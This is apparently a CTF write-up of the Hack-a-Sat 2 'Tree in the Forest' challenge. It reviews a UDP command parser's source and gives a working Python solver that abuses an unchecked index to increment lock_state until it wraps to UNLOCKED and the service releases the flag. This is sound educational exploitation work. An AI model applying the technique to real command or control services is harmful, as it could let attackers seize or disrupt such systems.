Hack-A-Sat2: Tree in the Forest
Introduction
The
Hack-a-Sat 2 qualifications were held online from June 26th, 2021 to June 27th, 2021. This CTF focused on the cybersecurity of spacecraft, namely satellites. As the global space race heats up, the need for securing space-based systems is growing, hence the
U.S Air Force along with the
U.S. Space Force are sponsoring this event. This is one of my favourite events since it combines both hacking and space, which I both find utmost interesting. In this post, I will go through my solution for one of the reversing/pwning challenges. The full solution with source code is available on our
GithubDescription
- Category: Rapid Unplanned Disassembly
- Points: 35 points
- Description:
CC=g++-9.3.0
challenge: src/parser.c
$(CC) src/parser.c -o $@
Connect to the challenge on: lucky-tree.satellitesabove.me:5008
Using netcat, you might run: nc lucky-tree.satellitesabove.me 5008
You’ll need these files to solve the challenge.- https://static.2021.hackasat.com/vca80g4d8hvxhpvebfh4ug3ntgck
Solution
Key Tactic
The key tactic to solve this challenge is to perform an integer overflow on the
lock_state
variable. The remote service provided accepts arbitrary values from the client. These values are parsed into a structure representing a “command header”. One of these values, the
id
, is used to access a buffer, which can be used to change values in memory. As such, solving this challenge involves sending multiple inputs to cause an overflow by leveraging the lack of validation on the
id
field. The following modules and packages have been used for this challenge:
- build-essentials: contains the
g++
compiler needed to generate a local copy of the remote service; - python3: use to generate a script to solve the challenge;
- pwntools: a utility module for CTFs. See my tutorials for more information.
Code Review
The first step is to build a basic understanding of the logic of the remote service. In this case, the file provided by the challenge –
src/parser.c
– is the complete C source code of the remote service. By reviewing the code, we can identify the region of the code delivering the flag:
switch(lock_state){
case UNLOCKED:
if (id == COMMAND_GETKEYS)
return std::getenv("FLAG");
else
return "Command Success: UNLOCKED";
The flag is defined in the environment of the remote service. To access it, we need to set the state of the service to be
UNLOCKED
and the value of the
header->id
needs to be set to
COMMAND_GETKEYS
. To do so, we have to manipulate some values remotely to have the service drop the flag. The remote service listens to external connections via a regular UDP socket. The logic of managing remote connections is defined in the
server_loop
function. We can confirm that the remote service is listening on a UDP port as the
socket
structure is generated using the
SOCK_DGRAM
option and listening on port
54321/udp. Therefore to connect to the service, we need to set up a UDP socket to connect on port 54321 of the remote service.
if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0 ) {
perror("socket creation failed");
exit(EXIT_FAILURE);
}
memset(&servaddr, 0, sizeof(servaddr));
memset(&cliaddr, 0, sizeof(cliaddr));
servaddr.sin_family = AF_INET; // IPv4
servaddr.sin_addr.s_addr = inet_addr("0.0.0.0");
// servaddr.sin_port = htons(std::atoi(std::getenv("CHAL_PORT")));
servaddr.sin_port = htons(54321);
As in most challenges, there is a timer that closes the socket after a specific amount of time, which is specified by the
TIMEOUT
environment variable. This is important as when developing the solution, we will want to disable this timeout. In this case, this will be trivial by defining this variable in our local environment.
const char *timeout_value = std::getenv("TIMEOUT");
Basic Testing
Armed with a basic understanding of the program, we can now compile it and run it with some random inputs to have a general idea of how it processes data. I did not have version 9.3 of
g++
on my host, but I was able to compile the
parser.c
file using version
10.2.1 20210110
. The description of the challenge provides a
Makefile
. To compile the code, either use the
Makefile
provided or the following command:
$ g++ ./src/parser.c -o challenge
To test the service without being timed out every minute, we’ll set the
TIMEOUT
environment var to 1 hour, i.e. 3600 seconds:
$ TIMEOUT=3600 ./challenge
Trying to bind to socket.
Bound to socket.
At this point, we have the service bound to port
54321/udp on our localhost. Let’s use
nc
to connect to it:
$ nc -u 127.0.0.1 54321
1111
Invalid length of command header, expected 8 but got 5
As expected, the service accepts inputs on port
54321/udp. There are no prompts provided once connected, but if we type some characters, we get an error message stating that the service expects a
command header of
length 8. So trying again with 8 characters, we get a bit further:
11111111
Command header acknowledge: version:12593 type:12593 id:825307441
Invalid id:825307441
Based on very basic experimentation, a string of 8 characters will be accepted by the remote service as a
command header. As such, the next steps involve figuring out which values to send to unlock the flag.
Crafting the Command Header
By reviewing the definition of the
command_header
structure, we notice that three (3) values are needed: two (2) short integers and one
command_id_type
type, which is an
enum
of one (1)
integer
, for a total of 64bits, i.e. eight (8) byte(s):
typedef enum command_id_type {
COMMAND_ADCS_ON = 0,
COMMAND_ADCS_OFF = 1,
COMMAND_CNDH_ON = 2,
COMMAND_CNDH_OFF = 3,
COMMAND_SPM = 4,
COMMAND_EPM = 5,
COMMAND_RCM = 6,
COMMAND_DCM = 7,
COMMAND_TTEST = 8,
COMMAND_GETKEYS = 9, // only allowed in unlocked state
} command_id_type;
...
typedef struct command_header{
short version : 16;
short type : 16;
command_id_type id : 32;
} command_header;
At this point, we have all the knowledge needed to craft a command header, so let’s write a basic
Python script to send valid headers to the service. Below is the initial code used for sending a legitimate command header:
def do_challenge(remote):
flag = bytearray()
flag += struct.pack('HHi', 1, 1, 9)
remote.sendline(flag)
line = remote.recv().decode('utf-8')
print(f"[*] << {line.rstrip()}")
If not already done, launch the
challenge
service and execute this script to send our command header of 8 bytes, i.e. two shorts of 16 bits: 1 and 1, and an integer of 32 bits – 9 – which is the
COMMAND_GETKEYS
id:
$python quick.py
[+] Opening connection to 127.0.0.1 on port 54321: Done
LOG: %r Command header acknowledge: version:1 type:1 id:9
Command Failed: LOCKED
[*] Closed connection to 127.0.0.1 port 54321
We were able to send a legitimate command header, but the state of the service is still
LOCKED. Obviously, it wasn’t going to be THAT easy. After another review of the code, you will quickly notice that there isn’t any logic to update the state of the service to
UNLOCKED. As such, we have to devise a way to forcefully update the value of the
lock_state
variable. You should notice that the code provided contains commented lines. It is easy to go over these comments, but they actually provide some useful insight into the next steps:
// fprintf(stderr, "Address of lock_state: %p\n", &lock_state);
// fprintf(stderr, "Address of command_log: %p\n", &command_log);
When uncommented, these will display the addresses of both the
lock_state
variable and the start address of the
command_log
buffer. This should bring your attention to the
command_log
buffer:
// Log the message in the command log
command_log[header->id]++;
The reviewer should notice the lack of boundary checks. The value provided by the
header->id
will be used as the index for the
command_log
buffer. While we cannot use this oversight to run arbitrary code, we can leverage it to increment values at almost any memory location within the service. We can therefore generate an
integer overflow on the
lock_state
variable. When overflowed to
0
, the
lock_state
will become
UNLOCKED.
Integer Overflow
The initial state of the service is set to be
LOCKED. As such, the
lock_state
variable starts with a value of
1
. Because variables
types are bound by their size, continuously incrementing them will eventually cause them to have a value of
0
. For example, an
unsigned char
can have a value between 0 and 255. Incrementing an
unsigned char
variable set to 0 with a value of 256 will cause it to roll over back to 0. At this point, we have to figure out how to cause an overflow on the
lock_state
variable using the
header->id
and
command_log
variables.
unsigned int lock_state;
char command_log[COMMAND_LIST_LENGTH];
...
int main() {
lock_state = LOCKED;
...
Clearly, we can use the
command_log
buffer to increment the
lock_state
variable. Since
header-id
is not validated, we can use it to reference the address of the
lock_state
variable. To better understand this part, refer to this
C++ tutorial on pointer arithmetic and array indexing which explains pointers and offsets in memory. To perform this operation, we will need to know the address of the
command_log
and
lock_state
variables. To extract these, we just need to uncomment the lines identified earlier and recompile the service. We then re-run the
challenge
service, which displays their location in memory:
fprintf(stderr, "Address of lock_state: %p\n", &lock_state);
fprintf(stderr, "Address of command_log: %p\n", &command_log);
// fprintf(stderr, "Port: %d\n", std::atoi(std::getenv("CHAL_PORT")));
$ TIMEOUT=3600 ./challenge
Address of lock_state: 0x55dd5458c130
Address of command_log: 0x55dd5458c138
Trying to bind to socket.
Bound to socket.
From the output above, we observe that the address of the
lock_state
variable is 8 bytes before the start of the
command_log
buffer. Since the buffer contains
char
values, we need to access
command_log[-8]
and increment the value 255 times (1+255=256) for it to overflow to
0
, which is the value for the
UNLOCKED
state. Let’s go step-by-step to demonstrate the concept. We will first show that we can modify the
lock_state
variable by accessing it via the value of the
header->id
variable. This can be done by sending a command header with an id of
-8
def do_challenge(remote):
flag = bytearray()
flag += struct.pack('HHi', 1, 1, -8)
remote.sendline(flag)
line = remote.recv().decode('utf-8')
print("LOG: %r", line.rstrip())
$python solve.py
[+] Opening connection to 127.0.0.1 on port 54321: Done
LOG: %r Command header acknowledge: version:1 type:1 id:-8
Command Success: LOCKED
[*] Closed connection to 127.0.0.1 port 54321
It seems that the service accepted our ID with a value of
-8
. We will use
gdb
to confirm that the
lock_state
variable changed. To do so, we will attach
gdb
to the
challenge
process:
ps -e | grep challenge
1350693 pts/4 00:00:00 challenge
$gdb -p 1350693
We can then look at the value of the variable using the
p
command of
gdb
. Note that the
lock_state
variable must be cast into an
unsigned int
to avoid GDB from complaining:
(gdb) p (unsigned int)lock_state
$1 = 2
We were able to update the
lock_state
via the
header->id
value of our command header. As you can see, the value
lock_state
is now
2
, meaning that we were able to change its value when using
-8
as the ID of the header. Because we are incrementing the variable through a buffer of
char
, incrementing the value a total of 255 times will cause it to roll over to
0
, causing the integer overflow. To do so, we’ll modify our script to send 255 command headers with an id of
-8
, causing the value of the
lock_state
to be
0
, i.e.
UNLOCKED. We will then follow with one additional command header using the
COMMAND_GETKEYS
id:
def do_challenge(remote):
overflow = bytearray()
# Create a bytearray of 1, 1 and -8
overflow += struct.pack('HHi', 1, 1, -8)
# Send 255 headers to overflow the `lock_state` to 0
for i in range(1, 256):
remote.sendline(overflow)
line = remote.recv().decode('utf-8')
print(f"[*] << {line.rstrip()}")
# Create the command header to get the flag
flag = bytearray()
flag += struct.pack('HHI', 1, 1, 9)
remote.sendline(flag)
# Bring home the flag
while remote.can_recv(1):
line = remote.recv().decode('utf-8')
print(f"[*] << {line.rstrip()}")
Close the
challenge
service and restart it, this time providing a dummy flag using the
FLAG
variable environment:
$ FLAG=flag{this-is-not-a-flag} TIMEOUT=3600 ./challenge
And now running our
Python solving script, we should unlock the flag:
[*] << Command header acknowledge: version:1 type:1 id:-8
Command Success: LOCKED
[*] << Command header acknowledge: version:1 type:1 id:-8
Command Success: UNLOCKED
[*] << Command header acknowledge: version:1 type:1 id:9
flag{this-is-not-a-flag}
[*] Closed connection to 127.0.0.1 port 54321
Lastly, we’ll confirm our tactic by using our solver script against the real challenge:
...
[*] << Command header acknowledge: version:1 type:1 id:-8
Command Success: UNLOCKED
[*] << Command header acknowledge: version:1 type:1 id:9
flag{whiskey624...:GJNFiQHT5mvthY0W4oCIPa6zAoOP6NuSdY0H8Rgg8k6Eua4l...}
[*] Closed connection to 18.118.161.198 port 17434
Mission accomplished.
Conclusion
This is a great example of the exploitation of the
CWE-190: Integer Overflow vulnerability. It’s not unusual for various sub-systems in a satellite to use control variables to specify a mode of operation or a state. While not malicious and caused by a bad conversion, the
Ariane 5, Flight 501 incident is a notorious space-related example of an overflow leading to catastrophic failure. Having the ability to modify these variables and/or states can cause Denial of Service (DoS) by forcing it into a constant emergency state or causing a major disruption by stowing the solar panels for example.